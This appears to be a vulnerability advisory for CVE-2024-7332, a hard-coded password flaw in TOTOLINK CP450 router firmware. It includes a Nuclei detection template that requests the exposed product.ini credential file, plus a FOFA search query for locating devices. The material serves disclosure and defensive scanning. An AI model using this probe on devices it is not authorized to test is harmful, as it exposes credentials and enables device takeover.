CVE-2024-7332: TOTOLINK CP450 v4.1.0cu.747_B20191224 - Hard-Coded Password Vulnerability

2025-08-01 TOTOLINK CP450 v4.1.0cu747B20191224 PoC Public

Description

A critical vulnerability has been discovered in TOTOLINK CP450 version 4.1.0cu.747_B20191224. This vulnerability affects an unknown part of the file /web_cste/cgi-bin/product.ini of the Telnet Service component. The issue stems from the use of a hard-coded password, which can be exploited remotely without any user interaction.

PoC

id: CVE-2024-7332

info:
  name: TOTOLINK CP450 v4.1.0cu.747_B20191224 - Hard-Coded Password Vulnerability
  author: s4e-io
  severity: critical
  description: |
    A critical vulnerability has been discovered in TOTOLINK CP450 version 4.1.0cu.747_B20191224. This vulnerability affects an unknown part of the file /web_cste/cgi-bin/product.ini of the Telnet Service component. The issue stems from the use of a hard-coded password, which can be exploited remotely without any user interaction.
  impact: |
    Unauthenticated attackers can retrieve hard-coded credentials from the accessible product.ini file, enabling complete device compromise through Telnet service access with administrative privileges.
  remediation: |
    Contact TOTOLINK for security updates addressing the hard-coded password vulnerability in CP450 firmware version 4.1.0cu.747_B20191224, or implement network segmentation to restrict access.
  reference:
    - https://github.com/abcdefg-png/IoT-vulnerable/blob/main/TOTOLINK/CP450/product.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7332
    - https://cvefeed.io/vuln/detail/CVE-2024-7332
    - https://www.tenable.com/cve/CVE-2024-7332
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7332
    cwe-id: CWE-259
    epss-score: 0.20737
    epss-percentile: 0.9741
    cpe: cpe:2.3:a:totolink:cp450:4.1.0cu.747_b20191224:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: cp450_firmware
    fofa-query: title="totolink"
  tags: cve,cve2024,totolink,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/web_cste/cgi-bin/product.ini"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"[PRODUCT]","[WLAN]","HostName")'
          - "status_code == 200"
        condition: and
# digest: 490a00463044022055176427fe1f8e0e2d0d58c07a5a73c31140939280240f738a76aa881d35c7c9022065c515a8fe0c4ed9777981602896393ec2a364d948e0f6ca96f12f3e563c25ea:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-7332.yaml

References

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